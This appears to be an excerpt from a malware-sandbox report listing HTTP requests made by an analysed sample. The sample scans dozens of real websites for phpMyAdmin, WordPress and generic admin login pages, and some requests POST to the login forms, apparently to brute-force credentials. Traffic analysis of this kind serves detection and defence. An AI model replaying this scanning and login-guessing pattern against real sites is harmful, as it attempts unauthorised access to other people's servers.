Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=9e092446f956efccd5dcb8fb7c88b1b9User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=20b4858a8feb0bdf13218a028cef44dfdf9b9de0-1703038409; __cf_bm=ehZjTSv723BToZAVOJJkP8AhQlTBm9mV22TVcRIVSAg-1703038409-1-AXaHKodARbKL3kOuSXKr5kJv4lyoxfndGnD/IYCFIfrzosJo13N8ek4Ra+EVI3GshHtQ2GVEFr7rEzTe6CsOBmY=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /phpmyadmin/index.php HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipCookie: phpMyAdmin_https=b5b75fcer0lpggrjtuajsv8im2; pma_lang_https=enUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://entexclusives.com/phpmyadmin/Content-Length: 153Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=f9e567529add4aaa59de3ceb83771d70dc477fae-1703038407; __cf_bm=Dywd.0936Vq29pVbp8I8Fu3OEx.bsTU3cxXxEZXep7s-1703038407-1-AQTPK5aeDnWMjcosgjCzVJxsDmmFTKPENnUu2yFp/oaAg8Z+WzrJwZMe7OlyJCgLCCTKAony8PUtg91LiLeworY=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.greenlawnfertilizing.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.atelcommunications.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP%20Cookie%20checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://twohillsstudio.com/wp-login.phpContent-Length: 158Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: www.ecochild.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.lisvankooten.comAccept: /Accept-Encoding: deflate, gzipCookie: is_mobile=0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: www.tgcan.co.ukAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP+Cookie+checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.tgcan.co.uk/wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1Content-Length: 138Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=4ff266dda3ee08c47edace8900d173b5User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://horsetech.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: artusopastry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: london.com.trAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=v91armkkpiu55v9b4ilm5pccmfUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://london.com.tr/wp-login.php
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: a2b-internet.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/auth/login HTTP/1.1Host: artusopastry.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: ornos.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/auth/login HTTP/1.1Host: eco-child.myshopify.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.plastikolor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /verifyrequest.php?ip=102.129.152.212&sig=fb29434ec4ef1b1abf0c7f4a9653167d484ad9a6 HTTP/1.1Host: cgi-sys.server294.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://twohillsstudio.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipCookie: wordpress_test_cookie=WP%20Cookie%20checkUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://activegraphics.com/wp-login.phpContent-Length: 158Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: POST /phpmyadmin/index.php HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipCookie: phpMyAdmin_https=9rb2u8qp07ial64u5p3087bvu5; pma_lang_https=enUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://entexclusives.com/phpmyadmin/Content-Length: 153Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: ads-ecuador.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: wethepros.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=dynadot.ExpiredParking.9CC26559-5E11-4B25-8CC2-E5B51E33A42F; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=c6e09bdc984b5644856c68440dc2c92d369dc477-1703038413; __cf_bm=xsE.mEgfV7xWnwY62Ax3erGMxF2DlmM9TRkZnS6c1eM-1703038413-1-AU1nzLQ3f/X3DXkufPWlB4TRaS1mlivhlU88oYpkkmIz6HDKfRPlnVv8f/DreHls7dCZ7ADIhtrnJ5zIG9GPW7Q=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: greenlawnfertilizing.comAccept: /Accept-Encoding: deflate, gzipCookie: __cfruid=96d05ef646f3836be2e57de4c39861ecdf49ab4f-1703038414; __cf_bm=yVhlr5MeNvm9nwISYn5vZTkoQGjnLA.Eq0SJLjSG2GQ-1703038414-1-AaqHFhIlwdYhTPbV8Us0b6GycSh7GFyjbPGB+LbzH4Eljr1H7OE79yhoat8fSdlsiC1Yj84MoqfEg1j5KMaI41g=User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: hildebrandproject.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://hildebrandproject.org/
Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: directa-plus.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: lunarrastar.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: twohillsstudio.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.newriverclimbing.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.rosetre.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.u90soccercenter.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.texasopendoor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: walshfam.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: activegraphics.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /a/collinsgordonhenry.com/sites/system/app/pages/meta/domainWelcome HTTP/1.1Host: sites.google.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: filmboxstudios.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.orangutech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: majormega.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en_US/whois-suspension-netsol.jsp HTTP/1.0Host: www.registrar-transfers.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.geoffreynolds.com.auAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: bvox.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: entexclusives.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: justinsweet.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.qihabitats.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: www.tgcan.co.ukAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: horsetech.comAccept: /Accept-Encoding: deflate, gzipCookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=015bd023dec9c28ada863fcf7653777aUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.plastikolor.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.plastikolor.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: topshelfgames.comAccept: /Accept-Encoding: deflate, gzipCookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.atelcommunications.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: lsmnutrition.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: mobiamericas.comAccept: /Accept-Encoding: deflate, gzipCookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
